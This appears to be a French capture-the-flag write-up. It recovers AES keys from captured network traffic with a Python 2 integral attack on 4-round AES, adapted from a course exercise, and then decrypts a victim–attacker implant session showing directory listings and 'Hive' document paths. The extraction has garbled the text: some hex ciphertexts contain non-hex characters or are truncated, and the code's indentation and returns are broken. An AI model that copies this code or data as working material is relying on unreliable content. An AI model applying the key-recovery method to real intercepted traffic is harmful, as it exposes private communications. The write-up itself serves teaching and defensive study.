60 'b56b938ece07df5bf21a37e56b9f1d3c',*****'b7e41a17452af3d3d4a2d59aa99c521dd',
61 '3cd9d43d5c4539063279b7b697bf2d99',*****'2e574bf8c4412c3a38de423b5047023a',
62 '8b922e26c75b0d5be45784e918ad7936',*****'a837d541e6289e6a4755a4dd3b005bf3',
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66 '827c31ae61764c823252f3428afad21e',*****'6f011e312da83a2463a78aa87c6c2293',
67 '3da305fc15088e481a88b445b6b65041',*****'e77b88acf8f4212c47717b096c2b86da',
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69 '830b67893f1354a4fd363ab6d2d33302',*****'277796676e9c3a01fbfd5f91fe978555',
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71 'f4a25c47f76834db079996d6e4d501d2',*****'3e3e5900722a44975482c0742a847a51',
72 '383db7fc14ef67015825d53f86109112',*****'4b7804abad62707b19cd33f3ab470fd6',
73 '30ee293d3fa1b00819662dcc1bc2c03f',*****'6f4b003621149f95cc407424ab10ac67',
74 '85dcfa5c5d95d5ea0ffe134d3599a84b',*****'e7941cc2afe7430e38bbf875029dfddc',
75 'b79a6f180068db0ae03b39bac81277df',*****'a564bd1b2f2d5b422c13d7e8142c6adb',
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77 'df7a562723b225eed0da2611007a0e7d',*****'79e37eaeaf30e1b2844c37146354f1l20',
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94 'fb7909f366d60cade7b77641a274e95',*****'96de965d862a6d770ad2871656933aa8',
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97 'c5d8054a3cb6869de5be8de9b26adbe0',*****'4c91631be6e7c69e15072cb7fb8d53b6',
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104 '8f4f93f935f5d83d9e76dad0bced13c5',*****'00c1e6bba20621a63d1b06686d47673e',
105 '2a0dea5e21d177397f892fe2dd615dff',*****'14ea4cb705c35458814de92a1ab3503c',
106 'fe35d2d21a039ea4c4671bf660c3667f',*****'3cbe2fdb29190dec7660e667556edf2',
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109 '70a72d53ff8c47274d15c02d7e5b6a2b',*****'9634ca886796bb403c887a5607bf59cb',
110 '3e8b88a5076e80bd7e13275763bc3373',*****'51b5f123a7b6067156874ddd0fab785',
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112 '357c21d6cebc7c88a15b0167ffab37ca',*****

```

'eba2dce887288837714446e6d0bea475', \*\*\*\*\*'509ee9ffb78d13d91d910ef53f8699fc',  
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 'aa0b5c025affc0e4f42aa7cc4a23cb9', \*\*\*\*\*'b4247a751cac71b3ba71d4ee35c3032a',  
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 '8cc4af4da1f7f0704bf6fee274d28973', \*\*\*\*\*'a12d3t07949a0462cbdf191c963d472f',  
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 'bcb28cd33fe00372b650d763df535b', \*\*\*\*\*'5d86a51d0cdcce04253e0be486d144f1',  
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 '1e0e5b91bf01761355df5124fb4413e9', \*\*\*\*\*'9cbd7bd1137ea6ab5015d9841703a5b',  
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 '89b2e22046f82be5349ce41922f9c060', \*\*\*\*\*'5b011dd83f98028d4310f7b6a3b757fa',  
 128 '063dbb44d984d9bbbaade1de5d4c158e', \*\*\*\*\*'a505d880cd5a2b6fde8bfd563dbb6cc',  
 '6de9276f332bee9ca65f1124b07a6ba3', \*\*\*\*\*'b19b7d3b61f009d11a275b59f5db167e',  
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 '961fc2b32377b7e06f6acf9bace786b', \*\*\*\*\*'085ed00927f7b4afea9d2fa7b67e3f4a',  
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256 '2f492701b69175ca55891730c0294d32',*****'f85535acab082ce422f6df540e57629',

```

**Remarques :** Pour la récupération de ces données, si vous voulez faire les cakes comme moi et utiliser **scapy** pour jouer, attention aux paquets qui ont été rejoués, ça m'a causé pas mal d'ennuis par la suite ("follow tcp stream" dans wireshark est plus simple).

On patch le script trouvé dans github en l'adaptant à notre cas.

- patcher les échantillons de blocks chiffrés.
- adapter légèrement la fin du script pour avoir la clef .

Ci dessous le script pour obtenir la clef serveur :

```
1 #####  
2 # This is a utility file to help with laboratory exercises in  
3 # the "Understanding Cryptology: Cryptanalysis" course offered  
4 # by Dr. Kerry McKay  
5 # Hosted at OpenSecurityTraining.info under a CC BY-SA license  
6 # http://creativecommons.org/licenses/by-sa/3.0/  
7 #####  
8  
9 # Integral attack exercise  
10 # This attack is on a 4-round variant of AES  
11 # This code is written for understanding, not efficiency  
12  
13 ciphertexts2 = [  
14     '00ae0d3ead0ff9d598c513d69f6fc1b',  
15     'b90f8fb57d37ab6aed53e0032ad04e95',  
16     'b98612cf8e3bc0a60bd65e494e8c0c33',  
17     'd568edb71755fa9656b934e6b59748',  
18     'aba648e3e6f7e415833a32eb1b6642b0',  
19     'edea3f9bf0f3505cc5e6f1a3f053c7b7',  
20     '3f8fdfdb486125582b2b6edb3209c12e',  
21     'e1d4f932f3968fd6fcdff63d4e27a302',  
22     '988a74cc99b8ccf235217bba395dafd3',  
23     '00e1478433c907b76b4a2080f1ab8060',  
24     'a884efdae547ff8f640d785107991399',  
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26     '1bb86bef7e6da86c6ab2f79aba473f33',  
27     'b2dd257c1e26cae69bc36ccb059e0e71',  
28     '889bb26789305d520049751834dbd671',  
29     'c9a246d6321baf29f4d42952c0239f08',  
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31     '309cc77816e52c071868986f81dc07a9',  
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36     '62e4b483d341b96af741a76b985ad7d4',  
37     '376b584546087b2c0928bafcf45808b9',  
38     '05bf7a0efabfc9b18cadb7c5eaa48a0a',  
39     '85aefbd647194996243fc1a34e95b778',  
40     '928add2451942a5e016316bd7b0840a6',  
41     '041ae09096396121377ab5b1e4d4883',  
42     'd65c9f36a07c32563f6ec778a76df0ee',  
43     '74739176a5d4821e7ba230c6fd7d50fc',  
44     'b05a7cf636be076dad660039b7c4652a',  
45     '81a0762b24bbac134810f6c1b1090a54',  
46     '62db5f4819e9f693c633cc8a1be178d2',  
47     '7e05c197907b755287acd20194bc48d7',  
48     'f093eaff88d9d691614002583f78400d',  
49     '5fc86ade169e41f6658b845668803c43',  
50     'a9b06f6f05b56ab3c986f9255a7ed266',  
51     '8ac39824601ed09c90bbe8964630b099',  
52     'dd20b9009b08a186473c2f73654a94bb',  
53     '7ddd9d29256c2cf9c4ae227e47420fb7',  
54     '72495955e27c82a63b251dde42e43a1b',  
55     'f8602b108cb39aa8e69cba82a3355be6',  
56     '343419d51367642210a33fd7e8a903d1',  
57     'a3af0a445a2a867729864a99c5fce39',  
58     '06fccef791a0f52d163654057e098800',  
59     '3c1ed04781ecaf97077f9f7e73920380',  
60     'e46cc1f725487a07270e9c298dce9365',  
61     '66909e42c5052567fb85936cafbd4c82',  
62     '6bf82c73b978272924fe34ad0b2bcb58',  
63     'e04a48236a4716b6bce66b7a9c54b52f',  
64     '306ef183ba628dc1c6de6c9d22f0ee03',  
65     'e6a432ca6a5a0ba002cc74f278d82dd2',  
66     'e3b1cacd8df094a6b1d1fce4cb538274',  
67     'b12d590840d2e4c35e28d234a65a6396',
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69 '22d41a2278ba9e7746acc3627faadbca',  
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71 '178b0087009d807a2df5acc0187e8139',  
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73 'b56b938ece07df5bf21a37e56b9f1d3c',  
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75 '8b922e26c75b0d5be45784e918ad7936',  
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77 'b8ba078f30633110f28f05dea4f20fa4',  
'535a868925daf0d8737fcfd93e8dd825',  
79 '827c31ae61764c823252f3428afad21e',  
'3da305fc15088e481a88b445b6b65041',  
81 '2dcf3a4485e55e2e8df946af0ac53a2',  
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83 '85843bb717b34abcd0a205b0b35f5d8c',  
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85 '383db7fc14ef67015825d53f86109112',  
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87 '85dcfa5c5d95d5ea0ffe134d3599a84b',  
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89 '5259a79685230b9ac28470bcbc7ef3ef',  
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262 '6327adecc6101d5044a7f4476160c871',
263 'da35269ded4acle4eb45c8e65093a0d3',
264 '32f89b645c100a2f53d8791190ed35ab',
265 'c3949b876ce2acabf30981524ea00487',
266 'c08963d02a0a0d5d5736008c3b5469af',
267 'dd9601ce53dfa26760f438342c9e17bf',
268 'ca7b04f8b32e4749f64ddb75918b512f',
269 '4e2e660e87ac66a86aa44e78a39c7460',
270 '2f492701b69175ca55891730c0294d32',
271 ]
272 from random import shuffle
273 #shuffle(ciphertexts2)
274 #print(ciphertexts2)

275 ciphertexts = [[ord(c) for c in x.decode('hex')] for x in ciphertexts2]

276 sbox = (0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5,
277         0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
278         0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0,
279         0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
280         0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc,
281         0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
282         0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a,
283         0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
284         0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0,
285         0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
286         0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b,
287         0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
288         0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85,
289         0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
290         0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5,
291         0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,

```

```

293     0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17,
294     0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
295     0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88,
296     0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
297     0xe0, 0x32, 0x3a, 0xa, 0x49, 0x06, 0x24, 0x5c,
298     0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
299     0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9,
300     0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
301     0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6,
302     0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
303     0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e,
304     0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
305     0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94,
306     0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
307     0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68,
308     0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16)
309
310     invsbox = []
311     for i in range(256):
312         invsbox.append(sbox.index(i))
313
314
315     def SubBytes(state):
316         state = [list(c) for c in state]
317         for i in range(len(state)):
318             row = state[i]
319             for j in range(len(row)):
320                 state[i][j] = sbox[state[i][j]]
321
322     return state
323
324     def InvSubBytes(state):
325         state = [list(c) for c in state]
326         for i in range(len(state)):
327             row = state[i]
328             for j in range(len(row)):
329                 state[i][j] = invsbox[state[i][j]]
330
331     return state
332
333
334     def rowsToCols(state):
335         cols = []
336
337         #convert from row representation to column representation
338         cols.append([state[0][0], state[1][0], state[2][0], state[3][0]])
339         cols.append([state[0][1], state[1][1], state[2][1], state[3][1]])
340         cols.append([state[0][2], state[1][2], state[2][2], state[3][2]])
341         cols.append([state[0][3], state[1][3], state[2][3], state[3][3]])
342
343
344     def colsToRows(state):
345         rows = []
346
347         #convert from column representation to row representation
348         rows.append([state[0][0], state[1][0], state[2][0], state[3][0]])
349         rows.append([state[0][1], state[1][1], state[2][1], state[3][1]])
350         rows.append([state[0][2], state[1][2], state[2][2], state[3][2]])
351         rows.append([state[0][3], state[1][3], state[2][3], state[3][3]])
352
353
354     return rows
355
356     #####
357     # Key schedule functions
358     #####
359     # key schedule helper function
360     def RotWord(word):
361         r = []
362         r.append(word[1])
363         r.append(word[2])
364         r.append(word[3])
365         r.append(word[0])
366
367         return r

```

```

369 # key schedule helper function
370 def SubWord(word):
371     r = []
372     r.append(sbox[word[0]])
373     r.append(sbox[word[1]])
374     r.append(sbox[word[2]])
375     r.append(sbox[word[3]])
376     return r
377
378 # key schedule helper function
379 def XorWords(word1, word2):
380     r = []
381     for i in range(len(word1)):
382         r.append(word1[i] ^ word2[i])
383     return r
384
385 def printWord(word):
386     str = ""
387     for i in range(len(word)):
388         str += "{0:02x}".format(word[i])
389     print str
390
391 Rcon = [[0x01,0x00,0x00,0x00], [0x02,0x00,0x00,0x00], [0x04,0x00,0x00,0x00],
392 [0x08,0x00,0x00,0x00], [0x10,0x00,0x00,0x00], [0x20,0x00,0x00,0x00],
393 [0x40,0x00,0x00,0x00], [0x80,0x00,0x00,0x00],[0x1B,0x00,0x00,0x00],
394 [0x36,0x00,0x00,0x00]]
395
396
397 # key is a 4*Nk list of bytes, w is a Nb*(Nr+1) list of words
398 # since we're doing 4 rounds of AES-128, this means that
399 # key is 16 bytes and w is 4*(4+1) words
400 def KeyExpansion(key):
401     Nk = 4
402     Nb = 4
403     Nr = 4
404
405     temp = [0,0,0,0]
406     w=[]
407     for i in range(Nb*(Nr+1)):
408         w.append([0,0,0,0])
409
410     i = 0
411
412     #the first word is the master key
413     while i<Nk:
414         w[i] = [key[4*i], key[4*i+1], key[4*i+2], key[4*i+3]]
415
416         #printWord(w[i])
417         i = i+1
418
419     i=Nk
420
421
422     while i < (Nb*(Nr+1)):
423         #print "Round ", i
424         temp = w[i-1]
425         #printWord(temp)
426         if (i % Nk) == 0:
427             #print "Rcon: ", printWord(Rcon[i/Nk-1])
428             #printWord(RotWord(temp))
429             #printWord(SubWord(RotWord(temp)))
430             temp = XorWords(SubWord(RotWord(temp)), Rcon[i/Nk-1])
431             #print "After XOR with Rcon: "
432             #printWord(temp)
433             #printWord(temp)
434             #printWord(w[i-Nk])
435             w[i] = XorWords(w[i-Nk], temp)
436             i = i+ 1
437
438
439     return w
440

```

```

443 def Shiftrows(state):
444     state = colsToRows(state)
445
446     #move 1
447     state[1].append(state[1].pop(0))
448
449     #move 2
450     state[2].append(state[2].pop(0))
451     state[2].append(state[2].pop(0))
452
453     #move 3
454     state[3].append(state[3].pop(0))
455     state[3].append(state[3].pop(0))
456     state[3].append(state[3].pop(0))
457
458     return rowsToCols(state)
459
460
461 def InvShiftrows(state):
462     state = colsToRows(state)
463
464     #move 1
465     state[1].insert(0,state[1].pop())
466
467     #move 2
468     state[2].insert(0,state[2].pop())
469     state[2].insert(0,state[2].pop())
470
471     #move 3
472     state[3].insert(0,state[3].pop())
473     state[3].insert(0,state[3].pop())
474     state[3].insert(0,state[3].pop())
475
476     return rowsToCols(state)
477
478
479 #converts integer x into a list of bits
480 #least significant bit is in index 0
481 def byteToBits(x):
482     r = []
483     while x>0:
484         if (x%2):
485             r.append(1)
486         else:
487             r.append(0)
488         x = x>>1
489
490
491     #the result should have 8 bits, so pad if necessary
492     while len(r) < 8:
493         r.append(0)
494
495     return r
496
497
498 #inverse of byteToBits
499 def bitsToByte(x):
500     r = 0
501     for i in range(8):
502         if x[i] == 1:
503             r += 2**i
504
505     return r
506
507
508 # Galois Multiplication
509 def galoisMult(a, b):
510     p = 0
511     hiBitSet = 0
512     for i in range(8):
513         if b & 1 == 1:
514             p ^= a
515             hiBitSet = a & 0x80
516             a <<= 1
517         if hiBitSet == 0x80:

```

```

519         a ^= 0x1b
      b >>= 1
  return p % 256
521

523 #single column multiplication
def mixColumn(column):
525     temp = []
  for i in range(len(column)):
      temp.append(column[i])

529     column[0] = galoisMult(temp[0],2) ^ galoisMult(temp[3],1) ^ \
      galoisMult(temp[2],1) ^ galoisMult(temp[1],3)
531     column[1] = galoisMult(temp[1],2) ^ galoisMult(temp[0],1) ^ \
      galoisMult(temp[3],1) ^ galoisMult(temp[2],3)
533     column[2] = galoisMult(temp[2],2) ^ galoisMult(temp[1],1) ^ \
      galoisMult(temp[0],1) ^ galoisMult(temp[3],3)
535     column[3] = galoisMult(temp[3],2) ^ galoisMult(temp[2],1) ^ \
      galoisMult(temp[1],1) ^ galoisMult(temp[0],3)
537
  return column
539

541 def MixColumns(cols):
  #cols = rowsToCols(state)
543
  r = [0,0,0,0]
545   for i in range(len(cols)):
      r[i] = mixColumn(cols[i])
547

549   return r

551 def mixColumnInv(column):
  temp = []
553   for i in range(len(column)):
      temp.append(column[i])

555     column[0] = galoisMult(temp[0],0xE) ^ galoisMult(temp[3],0x9) ^ galoisMult(temp[2],0xD) ^ galoisMult(
      temp[1],0xB)
557     column[1] = galoisMult(temp[1],0xE) ^ galoisMult(temp[0],0x9) ^ galoisMult(temp[3],0xD) ^ galoisMult(
      temp[2],0xB)
     column[2] = galoisMult(temp[2],0xE) ^ galoisMult(temp[1],0x9) ^ galoisMult(temp[0],0xD) ^ galoisMult(
      temp[3],0xB)
559     column[3] = galoisMult(temp[3],0xE) ^ galoisMult(temp[2],0x9) ^ galoisMult(temp[1],0xD) ^ galoisMult(
      temp[0],0xB)

561   return column

563 def InvMixColumns(cols):
  #cols = rowsToCols(state)
565
  r = [0,0,0,0]
567   for i in range(len(cols)):
      r[i] = mixColumnInv(cols[i])
569

571   return r

573 #state s, key schedule ks, round r
575 def AddRoundKey(s,ks,r):

577   for i in range(len(s)):
      for j in range(len(s[i])):
          s[i][j] = s[i][j] ^ ks[r*4+i][j]

581   return s

583

585 #####
586 # Encrypt functions
587 #####
588 # for rounds 1-3

```

```

589 def oneRound(s, ks, r):
590     s = SubBytes(s)
591     s = Shiftrows(s)
592     s = MixColumns(s)
593     s = AddRoundKey(s, ks, r)
594     return s
595
596 def oneRoundDecrypt(s, ks, r):
597     s = AddRoundKey(s, ks, r)
598     s = InvMixColumns(s)
599     s = InvShiftrows(s)
600     s = InvSubBytes(s)
601     return s
602
603 # round 4 (no MixColumn operation)
604 def finalRound(s, ks, r):
605     s = SubBytes(s)
606     s = Shiftrows(s)
607     s = AddRoundKey(s, ks, r)
608     return s
609
610 def finalRoundDecrypt(s, ks, r):
611     s = AddRoundKey(s, ks, r)
612     s = InvShiftrows(s)
613     s = InvSubBytes(s)
614     return s
615
616 # Put it all together
617 def encrypt4rounds(message, key):
618     s = []
619
620     #convert plaintext to state
621     s.append(message[:4])
622     s.append(message[4:8])
623     s.append(message[8:12])
624     s.append(message[12:16])
625     #printState(s)
626
627     #compute key schedule
628     ks = KeyExpansion(key)
629
630     #apply whitening key
631     s = AddRoundKey(s, ks, 0)
632     #printState(s)
633
634     c = oneRound(s, ks, 1)
635     c = oneRound(c, ks, 2)
636     c = oneRound(c, ks, 3)
637     #printState(c)
638     c = finalRound(c, ks, 4)
639     #printState(c)
640
641     #convert back to 1d list
642     output = []
643     for i in range(len(c)):
644         for j in range(len(c[i])):
645             output.append(c[i][j])
646
647     return output
648
649 def swapRows(rows):
650     result = []
651     for i in range(4):
652         for j in range(4):
653             result.append(rows[j*4+i])
654     return result
655
656 def decrypt4rounds(message, key):
657     #message = swapRows(message)
658
659     s = []
660     #convert plaintext to state
661     s.append(message[:4])

```

```

665     s.append(message[4:8])
666     s.append(message[8:12])
667     s.append(message[12:16])
668     #printState(s)
669
670     #compute key schedule
671     ks = KeyExpansion(key)
672
673     #apply whitening key
674     #printState(s)
675     s = finalRoundDecrypt(s, ks, 4)
676
677     c = oneRoundDecrypt(s, ks, 3)
678     c = oneRoundDecrypt(c, ks, 2)
679     c = oneRoundDecrypt(c, ks, 1)
680     c = AddRoundKey(c, ks, 0)
681     #printState(c)
682     #printState(c)
683
684     #convert back to 1d list
685     output = []
686     for i in range(len(c)):
687         for j in range(len(c[i])):
688             output.append(c[i][j])
689
690     return output
691
692 testCt = range(16)
693 testState = []
694 testState.append(testCt[:4])
695 testState.append(testCt[4:8])
696 testState.append(testCt[8:12])
697 testState.append(testCt[12:16])
698
699 key = [0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6,
700        0xab, 0xf7, 0x15, 0x88, 0x09, 0xcf, 0x4f, 0x3c]
701
702 ks = KeyExpansion(key)
703
704 textData = [0]*16
705 assert AddRoundKey(AddRoundKey(testState, ks, 1), ks, 1) == testState
706 assert InvMixColumns(MixColumns(testState)) == testState
707 assert InvShiftrows(Shiftrows(testState)) == testState
708 assert InvSubBytes(SubBytes(testState)) == testState
709 assert oneRoundDecrypt(oneRound(testState, ks, 1), ks, 1) == testState
710 assert finalRoundDecrypt(finalRound(testState, ks, 1), ks, 1) == testState
711 assert decrypt4rounds(encrypt4rounds(textData, key), key) == textData
712
713 ######
714 # Attack code goes here #
715 #####
716
717 def backup(ct, byteGuess, byteIndex):
718     # We just need to check sums
719     # There is no mixColumns in the last round, so skip it.
720     # shiftRows just changes the byte's position. We don't care, so skip it.
721     # All we need is a single xor for the guessed byte, and InvSubBytes
722
723     t = ct[byteIndex] ^ byteGuess
724     return invsbox[t]
725
726
727 def integrate(index):
728     if len(ciphertexts) != 256:
729         print "ERROR"
730         print len(ciphertexts)
731     potential = []
732
733     for candidateByte in range(256):
734         sum = 0
735         for ciph in ciphertexts:
736             oneRoundDecr = backup(ciph, candidateByte, index)
737             sum ^= oneRoundDecr
738         if sum == 0:

```

```

739         potential.append(candidateByte)
740     return potential
741
743 from itertools import product
744 def integral():
745     all_case=[i for i in range(255)]
746     candidates = []
747     empty=0
748     for i in range(16):
749         toto= integrate(i)
750         if len(toto) == 0:
751             candidates.append(toto)
752             empty+=1
753         else:
754             candidates.append(toto)
755     print 'candidates', candidates
756
757     for roundKey in (product(*candidates)):
758         masterKey = round2master(roundKey)
759         plain = ''.join(chr(c) for c in decrypt4rounds(ciphertexts[0], masterKey))
760
761         if 'AAAA' in plain:
762             print 'solved', masterKey
763             return masterKey
764
765 # Calculate the master key candidate from the final round key candidate
766 def round2master(rk):
767     Nr=4
768     Nk=4
769     Nb=4
770     w = []
771     for i in range(Nb*(Nr+1)):
772         w.append([0,0,0,0])
773
774     i=0
775     while i<Nk:
776         w[i] = [rk[4*i], rk[4*i+1], rk[4*i+2], rk[4*i+3]]
777
778         #printWord(w[i])
779         i = i+1
780
781     j = Nk
782     while j < Nb*(Nr+1):
783         if (j%Nk) == 0:
784             #print w[j-1],w[j-2]
785             #tmp = SubWord(XorWords(w[j-1], w[j-2]))
786             #w[j] = XorWords(XorWords(w[j-Nk], tmp), Rcon[Nr+1-j/Nk])
787             #print "rcon: ", printWord(Rcon[Nr + 1 - j/Nk])
788             w[j][0] = w[j-Nk][0] ^ sbox[w[j-1][1] ^ w[j-2][1]] ^ Rcon[Nr - j/Nk][0]
789             for i in range(1,4):
790                 w[j][i] = w[j-Nk][i] ^ sbox[w[j-1][(i+1)%4] ^ w[j-2][(i+1)%4]]
791             else:
792                 w[j] = XorWords(w[j-Nk], w[j-Nk-1])
793             j = j+1
794
795     #     for i in range(20):
796     #         printWord(w[i])
797
798     m = []
799     for i in range(16,20):
800         for j in range(4):
801             m.append(w[i][j])
802
803
804     return m
805
806 ######
807 # Printing functions #
808 #####
809 def printState(s):
810     print "State:"
811     for i in range(len(s)):
812         row = s[i]
813         rowstring = ""

```

```

815     for j in range(len(row)):
816         rowstring += "{0:02x} ".format(row[j])
817     print rowstring
818     print "\n"
819
820 def printKey(ks):
821     for i in range(len(ks)):
822         row = ks[i]
823         rowstring = ""
824         for j in range(len(row)):
825             #rowstring += "{0:02x} ".format(row[j])
826             rowstring += "{0:4} ".format(row[j])
827         print rowstring
828     print "\n"
829
830 #####
831 # Main - attack code goes here
832 #####
833
834 key = integral()
835
836
837 kk=""
838 for i in key:
839     kk+="%02x" % i
840
841 print "Resolved key =", kk
842
843
844 kk=kk.decode('hex')
845 res="00ae0d3ead0ff9d598c513d69f6fc1b".decode('hex')
846
847 res = [ord(c) for c in res]
848 kk = [ord(c) for c in kk]
849
850 print "res",res
851 print "kk",kk
852 flag= decrypt4rounds(res, kk)
853
854 # TEST de bon déchiffrement sur le premier échantillon
855 print "test:", ''.join(chr(c) for c in flag)

```

Une fois lancé (python2), on obtient :

- Victime : Resolved key = 72ff8036d9200777d1e97a5be1d3f514
- test : AAAA babar007
- Attaquant : Resolved key = 4c1a69362fe00336f6a8460ff33dff5
- test :AAAA babar007

Confirmé par le résultat du déchiffrement du premier paquet par la clef.

Reste maintenant à utiliser ces clefs pour déchiffrer la conversation qu'il y a eu entre la victime et l'attaquant. On réutilise les sous-ensembles de capture wireshark pour déchiffrer d'un coté les paquets envoyés par l'attaquant de l'autre ceux envoyés par la victime.

Une fois tout déchiffré on a :

- Victime vers attaquant

00000000:	4141 4141 dec0 d3d1 6261 6261 7230 3037	AAAA....babar007
00000010:	25f7 dd80 9f8f e428 0000 0000 0000 0000	%.....(.....
00000020:	0000 0100 2800 0000 0000 0000 0000 0000	....(.....
00000030:	4141 4141 dec0 d3d1 6261 6261 7230 3037	AAAA....babar007
00000040:	25f7 dd80 9f8f e428 0000 0000 0000 0000	%.....(.....

```

6 00000050: 0102 0003 b900 0000 746f 7461 6c20 3132 ..... total 12
00000060: 0a64 7277 7872 2d78 722d 7820 2033 2072 .drwxr-xr-x 3 r
8 00000070: 6f6f 7420 726f 6f74 2034 3039 3620 4d61 oot root 4096 Ma
00000080: 7220 2032 2031 313a 3430 202e 0a64 7277 r 2 11:40 ..drw
10 00000090: 7872 2d78 722d 7820 3234 2072 6f6f 7420 xr-xr-x 24 root
000000a0: 726f 6f74 2034 3039 3620 4d61 7220 2032 root 4096 Mar 2
12 000000b0: 2031 313a 3430 202e 2e0a 6472 7778 722d 11:40 ...drwxr-
000000c0: 7872 2d78 2032 3220 7573 6572 2075 7365 xr-x 22 user use
14 000000d0: 7220 3430 3936 204d 6172 2032 3920 3033 r 4096 Mar 29 03
000000e0: 3a30 3620 7573 6572 0a00 0000 0000 0000 :06 user .....
16 000000f0: 4141 4141 dec0 d3d1 6261 6261 7230 3037 AAAA....babar007
00000100: 25f7 dd80 9f8f e428 0000 0000 0000 0000 %.....(.....
18 00000110: 0102 0005 2800 0000 0000 0000 0000 0000 ....(.....
00000120: 4141 4141 dec0 d3d1 6261 6261 7230 3037 AAAA....babar007
20 00000130: 25f7 dd80 9f8f e428 0000 0000 0000 0000 %.....(.....
00000140: 0102 0003 0207 0000 746f 7461 6c20 3133 ..... total 13
22 00000150: 360a 6472 7778 722d 7872 2d78 2032 3220 6.drwxr-xr-x 22
00000160: 7573 6572 2075 7365 7220 3430 3936 204d user user 4096 M
24 00000170: 6172 2032 3920 3033 3a30 3620 2e0a 6472 ar 29 03:06 ..dr
00000180: 7778 722d 7872 2d78 2020 3320 726f 6f74 wxr-xr-x 3 root
26 00000190: 2072 6f6f 7420 3430 3936 204d 6172 2020 root 4096 Mar
000001a0: 3220 3131 3a34 3020 2e2e 0a2d 7277 2d2d 2 11:40 ...-rw-
28 000001b0: 2d2d 2d2d 2d20 2031 2075 7365 7220 7573 _____ 1 user us
000001c0: 6572 2031 3630 3520 4d61 7220 3132 2031 er 1605 Mar 12 1
30 000001d0: 373a 3037 202e 6261 7368 5f68 6973 746f 7:07 .bash_histo
000001e0: 7279 0a2d 7277 2d72 2d2d 722d 2d20 2031 ry.-rw-r--r 1
32 000001f0: 2075 7365 7220 7573 6572 2020 3232 3020 user user 220
00000200: 4d61 7220 2032 2031 313a 3430 202e 6261 Mar 2 11:40 .ba
34 00000210: 7368 5f6c 6f67 6f75 740a 2d72 772d 722d sh_logout.-rw-r-
00000220: 2d72 2d2d 2020 3120 7573 6572 2075 7365 -r-- 1 user use
36 00000230: 7220 3337 3731 204d 6172 2020 3220 3131 r 3771 Mar 2 11
00000240: 3a34 3020 2e62 6173 6872 630a 6472 7778 :40 .bashrc.drw
38 .....
40 000017e0: 0102 0003 5900 0000 2f68 6f6d 652f 7573 ....Y.../home/us
000017f0: 6572 2f63 6f6e 6669 6465 6e74 6965 6c2f er/confidentiel/
42 00001800: 4869 7665 2f68 6976 652d 5573 6572 7347 Hive/hive-UsersG
00001810: 7569 6465 2e70 6466 0a00 0000 0000 0000 uide.pdf .....
44 00001820: 4141 4141 dec0 d3d1 6261 6261 7230 3037 AAAA....babar007
00001830: 25f7 dd80 9f8f e428 0000 0000 0000 0000 %.....(.....
46 00001840: 0102 0003 6400 0000 2f68 6f6d 652f 7573 ....d.../home/us
00001850: 6572 2f63 6f6e 6669 6465 6e74 6965 6c2f er/confidentiel/
48 00001860: 4869 7665 2f68 6976 652d 4f70 6572 6174 Hive/hive-Operat
00001870: 696e 675f 456e 7669 726f 6e6d 656e 742e ing_Environment.
50 00001880: 7064 660a 0000 0000 0000 0000 0000 0000 pdf.....
00001890: 4141 4141 dec0 d3d1 6261 6261 7230 3037 AAAA....babar007
52 000018a0: 25f7 dd80 9f8f e428 0000 0000 0000 0000 %.....(.....
000018b0: 0102 0003 6600 0000 2f68 6f6d 652f 7573 ....f.../home/us
54 000018c0: 6572 2f63 6f6e 6669 6465 6e74 6965 6c2f er/confidentiel/
000018d0: 4869 7665 2f68 6976 652d 4465 7665 6c6f Hive/hive-Develo
56 000018e0: 7065 7273 4775 6964 652d 6669 6775 7265 persGuide-figure
000018f0: 732e 7064 660a 0000 0000 0000 0000 0000 s.pdf.....
58 00001900: 4141 4141 dec0 d3d1 6261 6261 7230 3037 AAAA....babar007
00001910: 25f7 dd80 9f8f e428 0000 0000 0000 0000 %.....(.....
60 00001920: 0102 0003 7100 0000 2f68 6f6d 652f 7573 ....q.../home/us
00001930: 6572 2f63 6f6e 6669 6465 6e74 6965 6c2f er/confidentiel/
62 00001940: 4869 7665 2f68 6976 652d 496e 6672 6173 Hive/hive-Infras
